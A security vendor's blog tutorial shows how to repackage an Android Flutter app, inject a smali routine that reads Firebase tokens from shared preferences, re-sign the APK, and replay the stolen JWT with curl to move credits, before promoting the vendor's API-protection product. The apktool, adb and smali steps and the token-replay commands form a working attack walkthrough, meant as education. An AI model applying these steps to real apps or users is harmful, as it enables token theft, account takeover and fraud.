Protecting Your API from App Impersonation: Token Hijacking Guide and Mitigation of JWT Theft

Talsec
15 min readApr 4, 2023

--

Gone are the days of locally-held data and standalone applications. With the rise of smartphones and portable devices, we are constantly on the go and reliant on network calls for everything from social communication to live updates. As a result, protecting backend servers and API calls has become more crucial than ever.

A hacker attacks a mobile device connected to a cloud.

Token-Based Authentication: Vulnerabilities and Solutions

Most of the time, the application uses an API to make HTTP requests to the server. The server then responds with the given data. Most devs know and use it all the time. However, we often have data with restricted access — data only some users/entities can obtain. Moreover, they need to provide a way to prove who they are.

A typical method for authorizing requests (and therefore protecting data) is to use tokens signed by the server. The authentication request is sent to the server. If authentication is successful, the server issues a signed token and sends it back to the client. The application will use it on every request, so the server knows it is talking to an authorized entity. Although the token is used during its validity period (usually minutes), it is long enough to exploit the leaked token even manually.

The current standard is to carry these requests over HTTPS, which TLS protects. The whole process is encrypted, so it will not be useful to attackers even if they manage to catch a request. This ensures the confidentiality of communication — the attacker knows there is some communication but does not know its actual content.

Beware of App Cloning

Attackers can impersonate a legit application if they steal a token.

However, there is still an opportunity for a hacker to strike — a compromised client application crafted for token stealing. Attackers can impersonate a legit application after stealing a token. The server cannot tell whether the legit application, compromised application or some other tool (e.g. curl, Postman, …) is communicating with it. It just checks if the provided token is valid, fresh, and with proper scope (hint: a stolen token still is).

There are multiple ways that the app can be attacked and compromised in order to steal the token and use it for malicious purposes. Here are a few clear examples:

  1. If an attacker gains access to a rooted device, they can misuse the token.
  2. An attacker can create a tampered version of the app, distribute it, convince the user to install it, and then obtain a valid token from the tampered app to misuse it in an automated way.
  3. Remote Code Execution and Escalation of Privilege vulnerabilities are discovered all the time; see https://source.android.com/docs/security/bulletin/asb-overview

For the purposes of this demonstration, we will be focusing on the second option.

The solution to these issues is to check clients’ integrity to ensure that:

  1. A communicating party is a legit client — this blocks requests from other sources, such as Postman.
  2. A communicating party can be trusted — the client’s integrity is intact (e.g. not tampered with), and it is running in a safe space (e.g. unrooted device).

A Step-by-Step Guide to Exploiting JWT: A Case Study

Disclaimer: While we provide information on legitimate hacking techniques, we do not condone using this information for malicious purposes. Please only use this information for educational purposes.

Video supplements the article

The demonstration is presented on an Android platform; however, it is important to note that the iOS version is very similar in nature, and the same principles and considerations discussed stand the same.

Let’s have an imaginary company that provides meal tickets as cash credit in their app. The app uses Firebase Authentication to authenticate users. An operation to send credits from one person to another is handled by the Firebase cloud function. To identify which user is sending their credits, JWT ID Token is used. This token can be retrieved from the Firebase instance after the user is successfully authenticated.

Now for the hacking part — an overview of the attack.

Step 1: Tamper the app

First of all, we need to gain access to the application scope itself. There are several ways how this can be done. In most cases, rooting a device would give us the access we need. However, for our demonstration, we choose application repackaging.

App tampering is currently quite easy. Using proper tools (apktool), you can decompile, modify and repackage the application. One only needs to entice potential victims into downloading a seemingly authentic application.

Wait a minute. Where would an ordinary user get a tampered app?

Despite best efforts, shady apps can be found in the store. With the rise of alternative stores and sideloading, you will likely find even more malware. Real-world examples could also be apps that promise you to gain some advantage or free versions of apps that you typically need to pay for.

Step 2: Steal the token

Do you remember Tom’s article about stealing and attacking APIs? If not, we recommend you give it a read, but in a nutshell — Firebase stores essential information in shared preferences. You can access and parse these data without any problem. And then misuse them in API calls.

The content of Firebase file com.google.firebase.auth.api.Store.{…}.xml

Step 3: Attack the API

Getting the format of API requests can be done by self-proxying. After that, you recycle this with a stolen token using Postman, curl, or other software.

To strike a balance between “too abstract” and “too complicated”, some implementation details will be omitted as a story for another time.

Let’s Roll This Plan into Action

Get the target APK

Initially, we acquire the valuable APK file of an application. This can be achieved in many ways. The technique described here uses adb — a standard tool which should be in the toolbelt of every developer.

After installation of the app, we need to get its package name. Using the terminal, we can list package names of all installed apps/services using the command:

adb shell pm list packages
Result of command

This is a rather extensive list of packages. Finding one package here is like looking for a needle in a haystack. Using grep command to filter out all packages beginning with com.android or com.google can help us a lot:

adb shell pm list packages | grep -v ^'package:com.[google|android]'
Result of command

This gives us a way shorter and cleaner list. Moreover, we found our wanted package name: com.mycompany.letseat

Now we need to get the path where the APK file is stored. This time, we use the shell functionality of adb.

adb shell pm path com.mycompany.letseat

This returns the path where APK is located. Using adb pull, we can extract this APK to our desired destination.

adb pull (apk location)
Result of commands

Now we finally have the APK, which we will tamper. In the next section, we will decompile it, modify it and repackage it.

Unpack the APK and create a malicious payload

In this part, we will mainly use apktool. Apktool is a handy tool for reverse engineering of Android APK files. You can download apktool in the provided link.

To decompile the APK, we will use the apktool d command. We are also going to set the output directory for better clarity.

apktool d -o=decompiled_apk base.apk

The APK is extracted into the decompiled_apk folder and has a structure like this:

.
└── decompiled_apk
├── AndroidManifest.xml
├── META-INF/
├── apktool.yml
├── assets/
├── kotlin/
├── lib/
├── original/
├── res/
├── smali/
└── unknown/

We recommend you to play around a bit and think of new ways to mess around with the application (e.g. you can see flutter assets there — you could inject ads using assets). What we care about for now is a folder named smali and its subfolders com/mycompany/letseat (what does that path remind you of?).

The smali folder contains decompiled code of the android part of the Flutter app. Let’s see MainActivity.smali for reference.

.class public final Lcom/mycompany/letseat/MainActivity;
.super Lio/flutter/embedding/android/i;
.source ""


# direct methods
.method public constructor <init>()V
.locals 0

invoke-direct {p0}, Lio/flutter/embedding/android/i;-><init>()V

return-void
.end method

It looks like some broken version of C#. What is this smali thing anyway?

Smali code is an assembly language used in Dalvik VM — a custom Java VM for Android. What we did now is called baksmaling — getting smali code from Dalvik file (.dex). Apktool makes this “decompiling” for us, so we do not have to deal with .dex files. Smali code is primarily used in reverse engineering.

In the example above, you could make an educated guess — the init function is invoked, and this function belongs to the io/flutter/embedding/android package, and the function itself is in a file named V. Let’s try to verify this guess.

Path io/flutter/embedding/android exists, and there is a file named i.smali. It even contains multiple reference to the class’s constructor <init>().

However, something here is even more interesting. Look at some non-gibberish names: onCreate, onStart, onResume, onStop, onDestroy, … It looks like an Android activity lifecycle. We recommend you to check it out.

For now, all you need to know is that a lifecycle is a group of callbacks called when the app changes states (the app was launched, the app was put into the background, the device was rotated, …). We will choose onCreate as the place where we inject our code. However, this code has to be written in smali code. We have two options here:

  1. Writing code directly in smali code (good luck with that)
  2. Writing Kotlin/Java code, disassembling compiled code and copying that into the onCreate method

We are going to choose the second option. We are going to skip the creation and compilation of the APK. The most important part is the code itself:

public class MainActivity extends AppCompatActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

// Defining as one-liner so injection in onCreate is easier
steal();
}

public void steal() {
// Getting valuable data
}
}

In the onCreate method, we only call the steal() function. The stealing function then finds shared preferences, iterates through all files and logs their content (to keep this article concise, calls for the server are replaced by logging). Notice, that the first run (runs before first login/auth) will log “File not found”.

public void steal() {
// Getting dir with preferences
File prefsDir = new File(getApplicationInfo().dataDir, "shared_prefs");

// Checking whether preferences exist...
if (prefsDir.exists() && prefsDir.isDirectory()) {
String[] files = prefsDir.list();
// ... if so, find the right one.
if (files != null) {
for (String file: files) {
// We know the files. We could send them over to
// server (code omitted for simplicity). For now
// logging will do it.
Scanner myReader;
try {
myReader = new Scanner(new File(prefsDir.getPath(), file));
List < String > lines = new ArrayList < String > ();
while (myReader.hasNextLine()) {
lines.add(myReader.nextLine());
}
Log.e("JWT", lines.toString());
} catch (FileNotFoundException e) {
Log.e("JWT", "File not found");
}
}
}
}
}

Merging smali codes

Now, we can build our application into APK and then decompile it. After decompilation, we will go to MainActivity.smali file and search for our steal() function. The smali code of steal() function looks like this:

.method public final steal()V
.locals 12

.line 32
new-instance v0, Ljava/io/File;

invoke-virtual {p0}, Lcom/example/myapplication/MainActivity;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;

move-result-object v1

iget-object v1, v1, Landroid/content/pm/ApplicationInfo;->dataDir:Ljava/lang/String;

const-string v2, "shared_prefs"

invoke-direct {v0, v1, v2}, Ljava/io/File;-><init>(Ljava/lang/String;Ljava/lang/String;)V

...

What we need to do now is to merge two smali codes carefully.

  1. Copy steal invocation from MainActivity.smali to i.smali
  2. Insert steal function from MainActivity.smali to i.smali
  3. Fix package references in i.smali

After examination, we can see that the steal() function invocation in the MainActivity.smali is translated as a one-liner.

invoke-virtual {p0}, Lcom/example/myapplication/MainActivity;->steal()V

However, it is invoked from the wrong package name. Since all related functions in the Let’s Eat app are in the i.smali file, we need to reference it. Let’s fix that.

invoke-virtual {p0}, Lio/flutter/embedding/android/i;->steal()V

Another surgical operation is copying the steal() function. After copying it, we need to update the package reference as well.

Notice this line. When we get the application information, we apply it to the current instance. Package reference is, therefore, MyApplication.

invoke-virtual {p0}, Lcom/example/myapplication/MainActivity;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;

This would cause an error since you are referencing in non-existent package (in the “context” of the Let’s E`at app). However, you can use a reference to any android Activity. Therefore, you can rewrite this into the code below without any problems.

invoke-virtual {p0}, Landroid/app/Activity;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;

Rebuild the APK

We successfully modified the code. Putting the project back into the APK is a straightforward process — using apktool, we do just that, and the apksigner will sign our package. Since there is no RASP protection to protect the app, the device will install it without any problem.

To rebuild the APK, we need to go one level above the decompiled APK (so we can refer to it by folder name). Then we use apktool.

apktool b decompiled_apk
Result of command

A disadvantage of decompiling is that the signature used for signing is now gone. Because of that, we need to sign it by hand. An unsigned package is bad (and useless) because:

  1. You cannot put it on the app store
  2. You cannot install it properly (e.g. drag and drop the APK onto the emulator)

To sign an APK, you need a key. Since key generation is out of the scope of this article, we recommend you to go through the official Android developers guide.

For signing, you can use apksigner.

apksigner sign --ks=my-release-key.keystore base.apk

Now you have an APK containing malicious code which exposes JWT.

Attacking the API with Stolen JWT

When we run the application, we can see the format of the stolen payload.

{
"cachedTokenState":{
"refresh_token":"APJWN8eQaglkIjefuwj7Y0zE8RegoK_DMe82dA_2P00k2npXliwOT8wxseVYjBUZRWSSinie8wx8m3Q-6KuSxI3Gv1oJRQ6a6VtH-c6wmyTWQZsqUwQ_FdawC8pyvpcqos9DpKRj03vNl3mBX1WzSoWxKOwrKyDFNRtK3fs6eFkBDRBHMbWvNFqy3Hn2h_tWJUvN_cTH1egQH5YnAzd2TpxFrTTMxB1JyJ16--ELXlk9Yqi-QgEZ9nc",
"access_token":"eyJhbGciOiJSUzI1NiIsImtpZCI6ImY4NzZiNzIxNDAwYmZhZmEyOWQ0MTFmZTYwODE2YmRhZWMyM2IzODIiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3NlY3VyZXRva2VuLmdvb2dsZS5jb20vd2ViaW5hci0tLW1pc3N1c2Utand0IiwiYXVkIjoid2ViaW5hci0tLW1pc3N1c2Utand0IiwiYXV0aF90aW1lIjoxNjc3ODM0MTI4LCJ1c2VyX2lkIjoib1RKeDY0SHpZMFNkMkVSVFpvcjVnaG81Y2E5MyIsInN1YiI6Im9USng2NEh6WTBTZDJFUlRab3I1Z2hvNWNhOTMiLCJpYXQiOjE2Nzc4MzQxMjgsImV4cCI6MTY3NzgzNzcyOCwiZW1haWwiOiJkZXZlbG9wZXJAdGFsc2VjLmFwcCIsImVtYWlsX3ZlcmlmaWVkIjpmYWxzZSwiZmlyZWJhc2UiOnsiaWRlbnRpdGllcyI6eyJlbWFpbCI6WyJkZXZlbG9wZXJAdGFsc2VjLmFwcCJdfSwic2lnbl9pbl9wcm92aWRlciI6InBhc3N3b3JkIn19.ODkew1FVJaklLA0rBOGke64XoOTYsnt4ONupuMywVwDVrw2JJlVeIf8FimPxznaGz5uckls9p_L8VVMfzNAetVll2HiLrCNoay2RIV015zlBjvTPqUJ_v2oeD7g5YGDUHJOZgQoqz4LAyolJa2FP9M2mqNSP6B2byLtU1_TVS_iukSEZFoIsv2Xn6AQPFwcZEXbX7gXwI8SUfz_N4N6LvWSX6JInx3kqTyrn3HPl-cCwgtSB-XpoUCbdGGcTstsT0ZBXIegcHuGiyaQ2vAJP18zR76iA_lz5X5HmIA2rcks2hOIA4tDlzrVVMNt781w2AK7YiXKg-Zp9Dc6FQkgJPA",
"expires_in":3600,
"token_type":"Bearer",
"issued_at":1677834112014
},
"applicationName":"[DEFAULT]",
"type":"com.google.firebase.auth.internal.DefaultFirebaseUser",
"userInfos":[
{
"userId":"oTJx64HzY0Sd2ERTZor5gho5ca93",
"providerId":"firebase",
"email":"developer@talsec.app",
"isEmailVerified":false
},
{
"userId":"developer@talsec.app",
"providerId":"password",
"email":"developer@talsec.app",
"isEmailVerified":false
}
],
"anonymous":false,
"version":"2",
"userMetadata":{
"lastSignInTimestamp":1677834128196,
"creationTimestamp":1677833942740
}
}

Calling the Firebase API

First, we will try to query the Firebase API itself. It is handy when an app has a public Firebase REST API.

We will need to grab Firebase project_id from the mobile app:

Getting project_id for application. Part of the key is redacted for security reasons.

Second, notice key-value refresh_token and access_token from the Firebase file.

These can be easily misused with project_id. Since the endpoint is the same, we only need to provide valid values. Be aware that these tokens have limited validity, and you will need to get fresh ones quite often.

# PROJECT_ID - ID of firebase project (see console output above)
# ACCESS_TOKEN - access_token value from stolen payload
curl 'https://identitytoolkit.googleapis.com/v1/accounts:lookup?key=$PROJECT_ID' -H 'Content-Type: application/json' --data-binary '{"idToken":"$ACCESS_TOKEN"}'

This request returns more data.

{
"kind": "identitytoolkit#GetAccountInfoResponse",
"users": [
{
"localId": "oTJx64HzY0Sd2ERTZor5gho5ca93",
"email": "developer@talsec.app",
"passwordHash": "UkVEQUNURUQ=",
"emailVerified": false,
"passwordUpdatedAt": 1677833942740,
"providerUserInfo": [
{
"providerId": "password",
"federatedId": "developer@talsec.app",
"email": "developer@talsec.app",
"rawId": "developer@talsec.app"
}
],
"validSince": "1677833942",
"disabled": false,
"lastLoginAt": "1678363781388",
"createdAt": "1677833942740",
"lastRefreshAt": "2023-03-09T12:09:41.388Z"
}
]
}

If you wonder where this project_id comes from, it is a google-services.json file which you can find in the Firebase console.

This file contains all the secrets you need

Attacking Let’s Eat app’s API

Getting the format of the request is possible. For Flutter, you could use reFlutter. A more general approach would be proxy. With a bit of time, you will get a format of the POST request in our example app:

Request type: POST,
header: {
Content-Type: "application/json",
Authorization: "eyJhbGciOiJSUzI1NiIsImtpZCI6I..."
},
body: {
"amount": 132,
"recipient": "Joe Example",
}

Forging requests in our example is done by providing access_token to the header.

curl 'https://letseat-example.com' -H 'Content-Type: application/json' -H 'Authorization: $access_token'--data-binary '{"amount": 150, "recipient": "Fiskus Kuskus"}'

We successfully transferred stolen money.

{
"status":"success",
"msg":"Sending 150 from oTJx64HzY0Sd2ERTZor5gho5ca93 to Fiskus Kuskus"
}

How to Mitigate the Problem: AppiCrypt

We can protect against this impersonation by adding an additional security control implementing the zero trust security model — AppiCrypt. The zero trust assumes that all devices and applications cannot be trusted by default. Instead of relying on traditional security measures, zero trust employs a variety of security controls to authenticate and authorize devices and applications before granting access to protected resources. This aligns with the OWASP MAS requirements from MASVS-RESILIENCE and MASVS-AUTH control groups.

AppiCrypt makes protecting your backend API easy by employing the mobile app and device integrity state control, allowing only genuine API calls to communicate with remote services.

It generates a unique app cryptogram evaluated by a script on the backend side to detect and prevent threats like session hijacking (which we have just demonstrated), bot attacks or app impersonation.

The idea behind this technology is not just to protect APIs but to let your backend know that RASP controls were overcome or turned off by attackers. So gateway can easily block the session if the App integrity is compromised, and backends only process API calls if RASP controls check out.

Only calls from valid apps pass through the AppiCrypt security layer

The Cryptogram Header

Cryptogram is inserted into the header. There is no need to change the payload of the message itself.

// Returns cryptogram for your request
String cryptogram = Talsec.getAppiCrypt(...);
client.post(url, headers: {"AppiCrypt": cryptogram}, body: body);

Cryptogram itself is then an encrypted one-time value. You cannot modify it, and even if you manage to steal a payload containing a cryptogram, it is useless — a cryptogram cannot be simply reused. Nonce allows you to determine that the cryptogram belongs to your API call and isn’t replayed by an attacker. Using an old cryptogram will result in failure of its check (server will respond with code 403):

{"message":"Forbidden"}

Where AppiCrypt excels is its integration. It does not require any integration with external APIs. It ensures low latency and does not introduce a single point of failure. The cryptogram is verified by locally running a simple script on your backend. AppiCrypt is a generic solution for all types of iOS and Android devices without dependency on Google Play or other OEM services.

You may have come across a similar technology Firebase AppCheck. We want to emphasize the significant difference between AppCheck and AppiCrypt. AppCheck is not applicable for every call but only during user enrollment. That means there remains space for token theft. It doesn’t prevent leakage but token issuance. We compared these technologies in the previous article.

You can find more details about AppiCrypt on our website.

Conclusion

In this article, we looked at one way of attacking a mobile application. We showed how Firebase tokens can be stolen from the app and used to attack the API. We also explained how an APK file could be decompiled, what smali code is and how to add malicious code. Finally, we learned how we could protect ourselves from this attack.

This article was focused on the Android platform, but a similar problem may occur on iOS or other mobile systems. From the user’s perspective, it is important to be careful when downloading and using applications from unverified sources and check their permissions and reviews. From the developer’s point of view, mobile security is a constantly evolving area that requires attention and updating of knowledge.

We hope this article helped you understand the risks associated with mobile security and taught you some ways to minimize them.

Enterprise Services

We provide enhanced app and API protection with detailed configurable threat reactions, immediate alerts, and penetration testing of your product to our commercial customers with a self-hosted cloud platform as well.

It includes comprehensive mobile solution security elements that are unexampled on the market:

  • RASP+ SDK provides in-App protection and shielding.
  • AppiCrypt SDK aims to combat API abuse
  • App Security hardening SDK with Dynamic TLS certificate pinning SDK, App Secrets protection in the SDK, App Data encryption and decryption

If you are searching for the most advanced protection that complies with PSD2 RT and eIDAS, together with support from our experts, contact us at https://talsec.app. For more information about the difference between freeRASP and RASP+ SDK, please visit this page: https://github.com/orgs/talsec/discussions/5.
https://talsec.app | info@talsec.app

Written by Jaroslav Novotný — Flutter developer, Tomáš Soukal — Security Consultant and Tomáš Biloš — Backend developer

--

--